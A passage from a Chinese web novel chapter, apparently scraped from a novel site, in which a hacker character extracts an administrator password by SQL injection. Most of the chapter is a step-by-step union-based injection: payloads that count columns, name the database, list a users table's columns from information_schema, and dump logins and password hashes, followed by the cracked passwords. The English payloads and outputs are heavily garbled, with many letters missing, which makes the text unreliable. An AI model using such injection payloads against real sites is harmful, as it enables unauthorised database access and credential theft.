第32章 “德州电锯杀人狂”藏身养猪场，网络黑客追凶主持正义（2/2）

天才一秒记住本站地址：[笔趣阁]
https://www.ibqg.vip 最快更新！无广告！

继续查询可显示的字段数。

-1' union select 1,2,3,4,5,6,7 #

Tile Relase Carater Gere Ib

2 3 5 4 Lnk

2，3，4，5 为可显示字段

爆破数据库。

1' unon seect 1,daabse,3,4,5,6,7 #

Tile Reease Chaacter Gnre IMb

3 2 3 5 4 Lik 没有爆出数据库

1' unon selet 1,dtabase,3,4,5,6,7 #

Ttle Relse Chracer Gre IMb

qwas 3 5 4 Lik

库名：qwas

爆破数据库的关键内容。

-1' unon selct 1,colmn_nme,3,4,5,6,7 fom infrmation_shema.colums whee tble_scema=dataase nd tale_nme='usrs'#

Tile Relese Chaacter Gere IDb

id 1 2 6 Lik

login 1 2 6 Lik

password 1 2 6 Lik

Eail 1 2 6 Lik

seret 1 2 6 Lik

actiatio_code 1 2 6 Lik

actvated 1 2 6 Lik

admin 1 2 6 Lik

一共8个字段，确定 login,admin,password

查询字段内容。

-1' union select 1,login,password,4,admin,6,7 from qwas .users#

Ttle Relese Charcter Gere IDb

B.I.M. fcf045affd0 1 Lnk

qwas fe5839c735df045affd0 1 5 Lnk

一共两个。

解密。

B. I.M. Telcel

qwas Telcel

王涛利用注入漏洞爆破出来的管理员密码。